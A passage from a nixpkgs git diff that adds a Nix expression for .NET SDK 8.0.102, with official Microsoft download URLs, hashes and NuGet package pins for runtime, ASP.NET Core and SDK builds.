"runtime.win-arm.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.16"; sha256 = "14s0099y3ilr75p80zzvawdcvs2isadavhgi4im88nswnljc40qw"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Composite"; version = "7.0.16"; sha256 = "16fzqj99z9fj8x3vjmwa1iwx5bvnyk6wkkznyax0222v9cfbcim1"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler"; version = "7.0.16"; sha256 = "1hsx2mxpwxwp6r1akh8dxqnzqqzlr5xc0w4i36m5ngacjficw3a7"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler"; version = "7.0.16"; sha256 = "10gympyxph3dfdjf0aznmjxw8jiyj17ffs0bxrriyyvys6h386aj"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler"; version = "7.0.16"; sha256 = "0311aapybm1qbqxqgdx27a2lmic8ngqp9m2m616jirj2c1qipdq8"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler"; version = "7.0.16"; sha256 = "0r2n2vkxv8cfcczi900k7wdcg0jaxsw789mla192zw1d80xx5k35"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler"; version = "7.0.16"; sha256 = "07ad9kd1p0wwfa2cr7zs0bzqzcbrzspxmrflg06vyzzcagckz3lx"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler"; version = "7.0.16"; sha256 = "1b0canksc2q34kvngshcqjxvb9lm76vg9z8fj3k40vjbchybs297"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler"; version = "7.0.16"; sha256 = "1pj35db9gwg37ip66rhvnv3jvxhq1v3sz3ilrlhfa3s1bmws3awk"; }) ]; }; } diff --git a/pkgs/development/compilers/dotnet/versions/8.0.102.nix b/pkgs/development/compilers/dotnet/versions/8.0.102.nix new file mode 100644 index 0000000000000..2cbba9f84f37e --- /dev/null +++ b/pkgs/development/compilers/dotnet/versions/8.0.102.nix @@ -0,0 +1,179 @@ +{ buildAspNetCore, buildNetRuntime, buildNetSdk }: + +# v8.0 (active) +{ + aspnetcore_8_0 = buildAspNetCore { + version = "8.0.2"; + srcs = { + x86_64-linux = { + url = "https://download.visualstudio.microsoft.com/download/pr/d6d79cc3-df2f-4680-96ff-a7198f461139/df025000eaf5beb85d9137274a8c53ea/aspnetcore-runtime-8.0.2-linux-x64.tar.gz"; + sha512 = "c8d4f9ad45cc97570ac607c0d14064da6c1215ef864afd73688ec7470af774f80504a937cbb5aadbb0083250122aae361770d2bca68f30ac7b62b4717bee6fca"; + }; + aarch64-linux = { + url = "https://download.visualstudio.microsoft.com/download/pr/bdfd0216-539e-4dfd-81ea-1b7a77dda929/59a62884bdb8684ef0e4f434eaea0ca3/aspnetcore-runtime-8.0.2-linux-arm64.tar.gz"; + sha512 = "9e5733a0d40705df17a1c96025783fd2544ad344ac98525f9d11947ea6ef632a23b0d2bf536314e4aeda8ae9c0f65b8f8feee184e1a1aabfda30059f59b1b9a6"; + }; + x86_64-darwin = { + url = "https://download.visualstudio.microsoft.com/download/pr/a44da2c3-cb74-4ffe-af5a-34286598a885/263f113228e88df3f654510c9092f68b/aspnetcore-runtime-8.0.2-osx-x64.tar.gz"; + sha512 = "a7edf091509305d27275d5d7911c3c61a2546e0d3b5b0fe9fcb9e704daf3c550ea0a5ae659272a29b5e218d02f28b7d331ab0905e9459711624692f1589d7285"; + }; + aarch64-darwin = { + url = "https://download.visualstudio.microsoft.com/download/pr/a5692569-6092-4db1-9d5c-4862265a7b5b/7173de926da466e21ab9c7666a31dee3/aspnetcore-runtime-8.0.2-osx-arm64.tar.gz"; + sha512 = "9e79556cf58f9d0b0f302a50ef9724122a9b18daba70e715b7334f9ed97a4983be0386e4132f5273d120f00d18f8af8a8ad7ea1ef0a82c610e268a33e76a30e4"; + }; + }; + }; + + runtime_8_0 = buildNetRuntime { + version = "8.0.2"; + srcs = { + x86_64-linux = { + url = "https://download.visualstudio.microsoft.com/download/pr/307e4bf7-53c1-4b03-a2e5-379151ab3a04/140e7502609d45dfd83e4750b4bb5178/dotnet-runtime-8.0.2-linux-x64.tar.gz"; + sha512 = "f30f72f55b9e97e36107f920e932477183867726a963ea0d4d151f291981877ba253a7175614c60b386b6a37f9192d97d7402dafdad2529369f512698cb9d1dd"; + }; + aarch64-linux = { + url = "https://download.visualstudio.microsoft.com/download/pr/9de452db-acbe-48eb-b3f0-305a4e48e32a/515bbe7e3e1deef5ab9a4b8123b901ca/dotnet-runtime-8.0.2-linux-arm64.tar.gz"; + sha512 = "12c5f49b7bd63d73cae57949e1520eaebc47732f559f68199ecd3bcca597f2da702352313a20aa100c667ede1d701dc6822f7a4eee9063d1c73d1f451ed832ac"; + }; + x86_64-darwin = { + url = "https://download.visualstudio.microsoft.com/download/pr/414af43f-fdc6-4e8e-bbff-8b544a6627a8/0719a2eafa1d0d5f73ee0a7aae4ce670/dotnet-runtime-8.0.2-osx-x64.tar.gz"; + sha512 = "e8945057f5fdf55994675caeff07ff53ba96324edbfe148ea60f58c883548be59cd1d891552b55ed5a594c1cfa549bd783ce9e25b5467ae48ab3f97590f36003"; + }; + aarch64-darwin = { + url = "https://download.visualstudio.microsoft.com/download/pr/c7b73f69-39ca-4d2a-bd02-a72abb3a4fc5/6d68aa25f4576b70fff4925fb4e69c4b/dotnet-runtime-8.0.2-osx-arm64.tar.gz"; + sha512 = "c410f56283f0d51484d26755349a7b62364e2c54650c87dcee6fea0a370fa84b14b4ebc8c5e121e2b3ea4f0ac2880ebe40a43bcb02aa30ce360fd0dbc12fbfbb"; + }; + }; + }; + + sdk_8_0 = buildNetSdk { + version = "8.0.102"; + srcs = { + x86_64-linux = { + url = "https://download.visualstudio.microsoft.com/download/pr/672cfd95-c7fe-42e3-8b68-30c74f7af88e/ecdaa65fe42b6572ed37d407c26de8a2/dotnet-sdk-8.0.102-linux-x64.tar.gz"; + sha512 = "f5928f5b947441065f2f34b25ae8de1fbf7dbae2c0ba918bfb4224d2d08849c79cbdc1825c0d42a5822f12757f78efa58e295a8ee0f0e6fce39cc7c6ed977b8f"; + }; + aarch64-linux = { + url = "https://download.visualstudio.microsoft.com/download/pr/23568042-614a-41d3-a6b9-51e178e42977/cb1e1f4f5fb5d46080a60cd14d631660/dotnet-sdk-8.0.102-linux-arm64.tar.gz"; + sha512 = "5e0b5762ab2f038de50859a2e18a3964ea6b754faa01d72f9824100546a271148908e84d666bb63d25e5d9a92038bc8a2f944d0342bbf8834cb5d5e936878c76"; + }; + x86_64-darwin = { + url = "https://download.visualstudio.microsoft.com/download/pr/e60574bc-0bb6-45c6-ad3f-5c5fa29c75b7/1d903893164d767b98e9998153ed4c88/dotnet-sdk-8.0.102-osx-x64.tar.gz"; + sha512 = "963432c5c7d7d0b204a92248c61d1be227369c6bc1d47f977c913c416c61584451fd05d0e95a6fbe51f0e1958e1c1a71f2530f478dd036ed2b0e123944b3ce00"; + }; + aarch64-darwin = { + url = "https://download.visualstudio.microsoft.com/download/pr/e89e4d12-89c6-419c-a2be-9b2ec96b209f/0f393a6b611b26d7e4599694dff857e2/dotnet-sdk-8.0.102-osx-arm64.tar.gz"; + sha512 = "69d702b561ae7ddf4c47fe228c16472fd8d7065de1a4a206fc07c6906db49e7da25b21c06f0ef080f41658aeddc0f3c0a23ce1de7e65b830c308bfe13cf95fe8"; + }; + }; + packages = { fetchNuGet }: [ + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-arm"; version = "8.0.2"; sha256 = "06s21b9k4niwb2qlrz4faccfmqyxfv08vzd85izla3zjxmqv3jxb"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64"; version = "8.0.2"; sha256 = "1bxsrlsyvia4v3fswxl9pnf9107zwf1n1hlwffyxs0kd5iq7jabr"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"; version = "8.0.2"; sha256 = "14yysn896flzsisnc3bhfc98slj2xg3f5jr39m62w2p54km0jcrj"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64"; version = "8.0.2"; sha256 = "1486lnpn9al764f4q9p2xry38qrk1127m62j5n8ikcx8iazrbkqm"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-x64"; version = "8.0.2"; sha256 = "0fh2lvjrl41r1r4q3v9mylr16arb190x4xs0m5nsg6qak93y6pip"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.osx-x64"; version = "8.0.2"; sha256 = "0ihhhsypb0f8lffl5lbm4nw0l9cwcv6dgylxbgvs10yfpvpix8av"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-arm64"; version = "8.0.2"; sha256 = "1pfwb7j3gg62z10k799w2hr8yqmiv9gjvqzw6g72navzk322901s"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-x64"; version = "8.0.2"; sha256 = "0anifybcb7yipazd0qsiz6g1kj7liw6qz3lmqhkw3ipbr0zip0vv"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-x86"; version = "8.0.2"; sha256 = "0ag84bb4p9w41njyf7yh5h2wgz49qgx1xzhb6q4ls0m03mknp2g6"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Ref"; version = "8.0.2"; sha256 = "1iv12b2pdngn9pzd9cx0n7v3q6dsw8c38vx1ypd6fb27qqwrdrr6"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm"; version = "8.0.2"; sha256 = "1a0zy0sfd4k7pwwk7fkgyd4vph91nfbxhjzvha96ravdh8isxngx"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64"; version = "8.0.2"; sha256 = "0xfwnqbbzg1xb6zxlms5v1dj3jh46lh6vzfjbqxj55fj87qr73yi"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-arm"; version = "8.0.2"; sha256 = "1217mw4mw978f2d84h0vf0bbzl55kp8z1n4620rphqh6l4r1gr52"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-arm64"; version = "8.0.2"; sha256 = "1pi4s9sn64cyvarba1vgb17k92ank7q95xmn7dz9zb1z9n6v19hm"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-arm64"; version = "8.0.2"; sha256 = "13ckd4w7ysa5ay5wmklsnws7hhzw6nnlblhcda7r11m0fjfly6lr"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-x64"; version = "8.0.2"; sha256 = "0vy2r79sgr6p665943rb44d1m5xv8m6h96rqlr03g6ipk1gzz6xw"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-x64"; version = "8.0.2"; sha256 = "1kbdpqfq64h3dy2mj90sfi2pjks77fmp74fqkvps35fh3lacb3dq"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.osx-x64"; version = "8.0.2"; sha256 = "1xlnlp4ckqn0myl5pzsqhmpall1pnbmqhb62rr7m61dy83xhvm6l"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-arm64"; version = "8.0.2"; sha256 = "131kgy0787a38zmb3y002yr1lrnkfc4mk2xmh8jx5pqkl7bp5p67"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-x64"; version = "8.0.2"; sha256 = "1p7152v1wyhrxh1mqq29bm06xcfilzngr89cl8kxv5lcars3yc00"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-x86"; version = "8.0.2"; sha256 = "0yyix9cypm53b0q6zfw5bqbm18x2s54ns7a1w7apxfzs8cckjfp7"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-arm"; version = "8.0.2"; sha256 = "0j31y9qwcm76zsxbid52zn4350sbq489pa7znmkzdrxgbcn19dmq"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-arm64"; version = "8.0.2"; sha256 = "1g2n69s8sa9ik9jhkc6xcdjcvghwr5m9glbxr1f22dbj6nw433c4"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64"; version = "8.0.2"; sha256 = "0h148hmzrplhw2cx9yd2jmrw6ilpc9ys98w6jcaphzb7n184y374"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64"; version = "8.0.2"; sha256 = "1xcfs5yxsxis9hx1dkp5bkhgl0n95ja2ibwwnxmg2agc8134y935"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-x64"; version = "8.0.2"; sha256 = "0zvivfiz8lja1k6vcmwswh4lz6ch8x0nlap3x35psfw3p7j51163"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.osx-x64"; version = "8.0.2"; sha256 = "0x3fsfkv2gcilhsj31pjgg2vfibq2xvqhprw3hpm4gig4c2qi4fg"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-arm64"; version = "8.0.2"; sha256 = "1w6bads6vyiikbfds95zpw91qmb87a20my67c5pri3q6qqwcny6d"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-x64"; version = "8.0.2"; sha256 = "1cfd2bq41y3m86528hxlh3cj975rvhj8gigalfxaw5jsv8hw6cdm"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-x86"; version = "8.0.2"; sha256 = "0s92zdr0midkjk5xip0l3s8md7gcfh4dz81pqz2p7wwhcm29k1hq"; }) + (fetchNuGet { pname = "Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "0c99m8sh056wkk7h3f9bj8l67dxwzwnmz0ix398ff1w1pdpiabcm"; }) + (fetchNuGet { pname = "Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "13l2xa4fxnm6i6kpjwr173hyd61s2ks7sjzp2ah3l1n71wds3vag"; }) + (fetchNuGet { pname = "Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "16qhn61di7gz5a68sc2rg5y2y4293rsbks4rvplyjr68scnba4hb"; }) + (fetchNuGet { pname = "Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "0mz7h7silzjgf6p4f0qk8izvjf0dlppvxjf44f381kkamm6viiqd"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "0bvivl9ffgpsq4rbv8n8ivw9jr8yykbsp8r77n23xjm5vz8fcaks"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "1k6vv7mpa81pjx1v8wd8d7ns3wr3ydql1ihx59s6cfg8fx18j5w9"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "05480dq2mzzfvk9whlz16lq0rs2kzy55d905cl832df6j36yzy9w"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "1gm5yrbyh6h09lsr7izbg7izqiq3nwf7cx4y12hwk63544hprh2j"; }) + (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "0wqdx4h3isn1la8wbm8mvip0ai3fspvr8q2g2hx04lylpilcwnfy"; }) + (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "16l4dzmqsjnppl8ra3dz3062na1324zqpibcb9kk6aliayzkwjmp"; }) + (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "0qzqbpwa79qizj7yzmmk2kr1ibwdg0m104rp2ava2qp8c9mxx1lq"; }) + (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "10k85lqnczpdnzw43ylkma0iv1wxzqv9x4pfr31zwfb5z5p3m7ja"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "0yd9vf8z1p264411p4y2aka4dnzhjvi7zhxc9dy6yfjwndlqfz03"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "1vhi86iwln4pv2k0v6xfx5rp2vk5l6l4p399rj63wmm928n3v2la"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "0i7l7zw99nfq1s43d4cyhs9p5bx719x0q1fmlkp8am4mwga554kf"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "1ny0hjyip2n9mv0iiv2rpikb3apk4cjhvcdi17xn6vf3m79xxbwi"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "0cllix46qh7lxihkaaxhb3islwn8vqn5lkr4c8c3bynvyblskjvw"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "1f20gw4sq0s8idysdbpgrdh5l8ik3lry0i3nq60km9z9n183svxd"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "0c31vfab355bi27wlz18azpyir9y89nn8dcg43j074whc469q0vx"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "1xmy68m6vslqbl4njllgqscdslqj7xgkgjzpx4pq344mxh6r9agc"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "0s93dmisai8wgjid697rgdx3lw2a0s0krr1gcnaav8jz9dg9i8lc"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "0ikwfn1q8jkvzyx77b8ycm7k7004j2w8zgjzkf8kgyw55gy8xfjm"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "0gcwjjaw1lajqmwaji0x03w24721dczgnqrzqjw5ayjh8ib3dir2"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "1i6wijgpksz81hg01c2pwi06k413x6vni4x8v3y38jyazg7qkfp0"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "0hsby9ssa974cqkcc29xrjrrqmxyhfkkssmmhrrimh46n7sxzqab"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "0vwlfcpvbjhw0qmqnscnin75a5lb5llhzjizcp3nh5mjnkdghd8q"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "00kv6ijg6yway8km36yj7jq9y1p87iw8b8ysga66qv05y4fvjch1"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "05dz9mxc94y59y6ja05zamdp63qfdss831816y28kjjw4v4crz1q"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "0qbm5zgvcwmmqlcj4jaixbw4a1zzyrf8ap81nlqjfdxp03bv9zqa"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "1jsnxh1hgy7jrjhbz4kf6gq2x3smfx071cb2w1fa3a740h3i0f4m"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "1738mc91wy3yn2bf4srs2wxksd864hm565nmll396q6gw97a4df4"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "152jc4v2zxcax55vmd9xrsxq76q4cqpjlgrd1mfszipnngrlrc71"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "1z9fa5ryi23sn163j7jry45f64rxqkgv7v91r04b9cpb4hc1qgym"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "14qz0ypylcwldyjn1ins8syjzbqpmfsy4nfkzri12mfn0626qmn2"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "136ss58j9wpxp6sj81mijlk32l2f6h81rvaq4l7x0s8wb9fzzbb5"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "02562zc9nrkfwikzff7km6mixxb1qf632r60jpzykizgx6w0nrck"; }) + (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "1sylbjvrr1jnlgd1215czr3xql2gdqy5h5sz7rnfq31hb1j5nc20"; }) + (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "0ia1igli2r5gnli0r0yzqm012l56zrjf1jk42viahlil2ic3i144"; }) + (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "0h1kydv3dxnd9s32fd68x44jhc2pm79gv44mb7jf4227lr1dcxss"; }) + (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "1njywfwlq2785yk4b0114nzdb33zsgsmqj5fhpr6ii1crym649hl"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-arm"; version = "8.0.2"; sha256 = "16lp15z1msadrhiqlwwp0ni9k0slp3am05gqs5bagzwk35mcn27q"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.osx-arm64"; version = "8.0.2"; sha256 = "1v8nngksh0cp51g221bizz52jjpc4rzm1avcy5psl81ywmkwmj93"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm"; version = "8.0.2"; sha256 = "142s1ricyk351nqg298w5qlzd4scz8pc66x5mw9qh75vcyxsr83f"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.osx-arm64"; version = "8.0.2"; sha256 = "116rkq5ri5dbhp5g7zyc71ml2v92vb5bw5f3nx96llb1pqk74grh"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Ref"; version = "8.0.2"; sha256 = "1c2n7cfc7b6sjgk84hxppv57sh1n4dy49cmdd16ki1l6yl2f3j9d"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm"; version = "8.0.2"; sha256 = "0c6v2mdfshy5966fl2pfkfhgfs8y1sd0r47lfx7d4igy933dqfga"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm64"; version = "8.0.2"; sha256 = "1g8asdz9f3i0mjyh1mkxzfc6x8x77z0d88fa6irpyhh0w45qfccw"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-musl-x64"; version = "8.0.2"; sha256 = "14djb55i8nwsr3170b82lr89dqxjghnkkghxxy2sl4d2bxw0bsfa"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-x64"; version = "8.0.2"; sha256 = "0h0cc31c1izakpx554kivjqw3s5030a9zy3q4a2apwyj16znv2cw"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.osx-arm64"; version = "8.0.2"; sha256 = "18599d4y8n4y0w489pg7zm4nd4a23iz4zwx317pr5z57b4wrk61k"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.osx-x64"; version = "8.0.2"; sha256 = "04wvf035rr5kw6bj46ici8353lx5k95slydpm42kv1fcy3slqb4p"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.win-x64"; version = "8.0.2"; sha256 = "1adxkh9y3y9cxisrn52c75dmzgfkbnz9aqs2p97ln9qdxxvhzhc2"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.win-x86"; version = "8.0.2"; sha256 = "0721kp5l7k25ivi2sdxx12kjpddas5l6y5qjmfw8pjcyximhqn0b"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "1kkjmyhrnghihhfvm3qjrkrjbml2nqv8vyslj0g79pjanaqv3prs"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "1j5qhbgy9d1d89xcgdyjcnww0ziad846nd6x5l8fa109z8wvsnki"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "12n0m0rbxp05ggrkxa9yr6kn46pnn3pc4c22p6kkv5ijyg8nhd74"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "1mhwggjfpwssyzxl2mj3j9017xc8qwnw4xlm2rn96yfgsd1pxfpv"; }) + (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "1nvis5p0gvymv6sdrmgpgg94sr2w3maskm0c3d8p861wfiwwh0hv"; }) + (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "1vjrnga6inham84hggkx1kkpx4yn7v7z1xnwxas9lisxd0ych7k1"; }) + (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "0rrblgydpz3yf5gj9kpjc8b17x739nzr1956pwwyarhvh9y0vqrd"; }) + (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "0xpsaxi54g0xac80gy5nv7qk5b513ak1s397b36vwg7mivwc4yhh"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm"; version = "8.0.2"; sha256 = "1nm6ibys303xlawqibqygpg1gqc8wm1nxb6pl6vgwmp5w4q02r5h"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64"; version = "8.0.2"; sha256 = "0h6wwlz3mqb8758laczcaq7a0wmnmjf797dh5xwyiq50j1ss1mhw"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64"; version = "8.0.2"; sha256 = "09id8hnx0s4x5qvmvifb6jhkfaxzj53yvhl84pvrr4wv4p6ns7cm"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-arm"; version = "8.0.2"; sha256 = "0cg7b57fysgw809m77nb9dqr56g48ya6bjlh7x880ih5b76bnlak"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64"; version = "8.0.2"; sha256 = "1rqr95ix3khc7mbaji520l2vv8vjbrg8zzpv6h1i3p3rdbzjm3l2"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-x64"; version = "8.0.2"; sha256 = "0kzvyghyj95p2qxidp1g8nx5d9qd7wlchpg1a5dqbpv9skljdn7m"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.osx-x64"; version = "8.0.2"; sha256 = "0hmk25bvlpn3sfx4vlvysj2myx4dd8fc2pv3gmhfgb2y01dnswjh"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64"; version = "8.0.2"; sha256 = "1z76l5mpvik3517lcl3qygsfsws4yp37j37sslb4sq7gls4aa0w2"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler"; version = "8.0.2"; sha256 = "1kjlc67bqz7d04ga42l7jm9d3jm773a9i77zc5w7cd591wa8vbbv"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler"; version = "8.0.2"; sha256 = "0bx7jv4q8dapx6fb6dbk1im057qmk43isvzygp5ci6nd07p419qf"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler"; version = "8.0.2"; sha256 = "1nf6m85f10j5qcyk0w18qxd06n79w0jvnifis08shdsq1isz403z"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler"; version = "8.0.2"; sha256 = "0pl0w114qrlb8bv6d4jw1gv29dz2cs86y3r0nj5z2fxd1r30khym"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler"; version = "8.0.2"; sha256 = "05bs32vhcvpd1dbvmk1rgqm2swp4gn5yv4mwfsisa4q5qi2xlaza"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler"; version = "8.0.2"; sha256 = 